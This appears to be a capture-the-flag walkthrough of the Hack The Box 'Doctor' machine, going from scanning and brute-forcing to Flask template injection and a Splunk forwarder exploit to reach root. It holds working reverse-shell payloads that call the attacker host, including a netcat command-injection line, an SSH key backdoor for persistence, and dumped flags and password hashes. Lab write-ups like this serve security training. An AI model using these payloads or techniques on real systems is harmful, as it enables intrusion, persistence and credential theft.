Doctor
  1. 1.
    nmap -T4 -Pn -sC 10.10.10.209.
    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-02 09:27 EST
    Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
    Connect Scan Timing: About 2.45% done; ETC: 09:29 (0:01:20 remaining)
    Nmap scan report for 10.10.10.209
    Host is up (0.032s latency).
    Not shown: 997 filtered ports
    PORT STATE SERVICE
    22/tcp open ssh
    | ssh-hostkey:
    | 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
    | 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
    |_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
    80/tcp open http
    |_http-title: Doctor
    8089/tcp open unknown
    | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
    | Not valid before: 2020-09-06T15:57:27
    |_Not valid after: 2023-09-06T15:57:27
    Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds
  2. 2.
    https://10.10.10.209:8089 has http login functionality for the /services and /servicesNS endpoints.
  3. 3.
    I initially thought the website on port 80 was just a standard template but there is the text Send us a message at [email protected]. Add 10.10.10.209 doctors.htb to /etc/hosts to get a "Doctor Secure Messaging" page with a login.
  4. 4.
    Directory bruteforcing: gobuster dir -u http://10.10.10.209 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt and gobuster dir -u https://10.10.10.209:8089 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --insecuressl. The secure website produces the following:
    ===============================================================
    Gobuster v3.0.1
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    ===============================================================
    [+] Url: https://10.10.10.209:8089
    [+] Threads: 100
    [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
    [+] Status codes: 200,204,301,302,307,401,403
    [+] User Agent: gobuster/3.0.1
    [+] Timeout: 10s
    ===============================================================
    2020/12/02 09:33:15 Starting gobuster
    ===============================================================
    /services (Status: 401)
    /v2 (Status: 200)
    /v1 (Status: 200)
    /v3 (Status: 200)
    /v4 (Status: 200)
    /v5 (Status: 200)
    /v6 (Status: 200)
    /v7 (Status: 200)
    /v8 (Status: 200)
    /v10 (Status: 200)
    /v11 (Status: 200)
    /v15 (Status: 200)
    /v0 (Status: 200)
    /v01 (Status: 200)
    /v52 (Status: 200)
    /v001 (Status: 200)
    /v23 (Status: 200)
    /v9 (Status: 200)
    /v14 (Status: 200)
    /v20 (Status: 200)
    /v05 (Status: 200)
    /v13 (Status: 200)
    /v12 (Status: 200)
    /v92 (Status: 200)
    /v003 (Status: 200)
    /v209 (Status: 200)
    ===============================================================
    2020/12/02 09:34:19 Finished
    ===============================================================
  5. 5.
    Searching online finds the following:
    But I need the admin username and password to use them. admin is the username according to the first link.
  6. 6.
    Try brute-forcing Splunk login: hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8089 -f 10.10.10.209 http-get /services. Unsuccessful.
  7. 7.
    On the "Doctor Secure Messaging" page try directory brute-forcing: gobuster dir -u http://doctors.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt.
    [+] Url: http://doctors.htb
    [+] Threads: 100
    [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
    [+] Status codes: 200,204,301,302,307,401,403
    [+] User Agent: gobuster/3.0.1
    [+] Timeout: 10s
    ===============================================================
    2020/12/02 10:07:32 Starting gobuster
    ===============================================================
    /account (Status: 302)
    /logout (Status: 302)
    /archive (Status: 200)
    /login (Status: 200)
    /register (Status: 200)
    /home (Status: 302)
    /reset_password (Status: 200)
    ===============================================================
    2020/12/02 10:12:18 Finished
    ===============================================================
  8. 8.
    Try creating an account on "Doctor Secure Messaging" and find comment <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->.
  9. 9.
    I tested various approaches with the message posting functionality including Server Side Template Injection (SSTI) with Flask since Wappalyzer informed me the web framework was Flask. I then decided to check /archive after creating a post. Creating a post with a title and content of {{7*'7'}} produces 7777777, which shows this page is vulnerable to SSTI.
  10. 10.
    Post the following in the title and content using the "New Message" function then visit /archive to get a reverse shell:
    <div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.131\",3254));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'").read().zfill(417)}}</div></div>
    The above was obtained from swisskyrepo/PayloadsAllTheThings and changed to call /bin/bash instead of /bin/cat to print a flag.
    The /archive page is vulnerable as explained on this page. /archive routing code:
    cat /home/web/blog/flaskblog/main/routes.py:
    from flask import render_template, render_template_string, request, Blueprint
    from flask_login import current_user, login_required
    from flaskblog.models import Post
    main = Blueprint('main', __name__)
    @main.route("/")
    @main.route("/home")
    @login_required
    def home():
    page = request.args.get('page', 1, type=int)
    posts = Post.query.order_by(Post.date_posted.asc()).paginate(page=page, per_page=10)
    return render_template('home.html', posts=posts, author=current_user)
    @main.route("/archive")
    def feed():
    posts = Post.query.order_by(Post.date_posted.asc())
    tpl = '''
    <?xml version="1.0" encoding="UTF-8" ?>
    <rss version="2.0">
    <channel>
    <title>Archive</title>
    '''
    for post in posts:
    if post.author==current_user:
    tpl += "<item><title>"+post.title+"</title></item>\n"
    tpl += '''
    </channel>
    '''
    return render_template_string(tpl)
    Also, shell injection works without the archive page: <img src=http://10.10.14.131/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.131'$IFS'4444')/>.
  11. 11.
    Linpeas (./linpeas.sh -a 2>&1 | tee linpeas_report.txt) finds backup file /var/log/apache2/backup with has this line in it: /var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password". You can open linpeas_report_web.txt with less -R linpeas_report_web.txt
  12. 12.
    Linpeas users:
    [+] Users with console
    root:x:0:0:root:/root:/bin/bash
    shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
    splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash
    web:x:1001:1001:,,,:/home/web:/bin/bash
    Trying Guitar123 as the password for shuan works: su shaun.
  13. 13.
    Run run persist.authorized_key user=shaun backdoor_key=/home/kali/Downloads/key in local pwntools shell for persistance.
  14. 14.
    cat /home/shaun/user.txt: da773977d514b6d63e3233dbb30961fd.
  15. 15.
    Run ./linpeas.sh -a 2>&1 | tee linpeas_report.txt and download linepeas_report.txt. You can open linpeas_report_shaun.txt with less -R linpeas_report_shaun.txt.
  16. 16.
    Find 1|admin|[email protected]|default.gif|$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S in /opt/clean/site.db so the "Doctor Secure Messaging" credentials are [email protected]:$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S
  17. 17.
    This is a bcrypt hash as shown by /home/web/blog/flaskblog/users/routes.py. Crack it ($2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S) with hashcat -m 3200 -a 0 -o cracked hash /usr/share/wordlists/rockyou.txt. Cracking didn't work.
  18. 18.
    cat /home/web/blog.sh contains SECRET_KEY=1234 SQLALCHEMY_DATABASE_URI=sqlite://///home/web/blog/flaskblog/site.db /usr/bin/python3 /home/web/blog/run.py
  19. 19.
    CUPS running at 127.0.0.1:631
  20. 20.
    Try splunk login shaun:Guitar123 at https://10.10.10.209:8089/services/ which works. Time to test the exploit I found earlier (cnotin/SplunkWhisperer2).
  21. 21.
    git clone https://github.com/cnotin/SplunkWhisperer2 then pwncat 0.0.0.0:4632 then run the exploit: python3 PySplunkWhisperer2_remote.py --username shaun --password Guitar123 --lhost 10.10.14.131 --lport 46321 --host 10.10.10.209 --payload 'nc.traditional -e /bin/sh 10.10.14.131 4632'.
  22. 22.
    Need to use nc.traditional or nc [ServerAddress] [ServerPort] 0<f | /bin/sh -i 2>&1 | tee f because according to ‘Neutered’ Netcat? No prob!. This is because netcat on Mac and OpenBSD netcat on Ubuntu have the -e switch disabled.
  23. 23.
    cat /root/root.txt: 006957ab28b0297079fdd8558031768e
  24. 24.
    Root /etc/shadow:
    root:$6$384TbSO3bB1PWLT1$U8U.j.zBLXobhorPDxOMRZh4eE86lcn7C0dvqRvfJ9qDzreti8HDvXwFZccDat9/HJRNwu04ErVxo3mUwVbs5.:18512:0:99999:7:::
Copy link
Edit on GitHub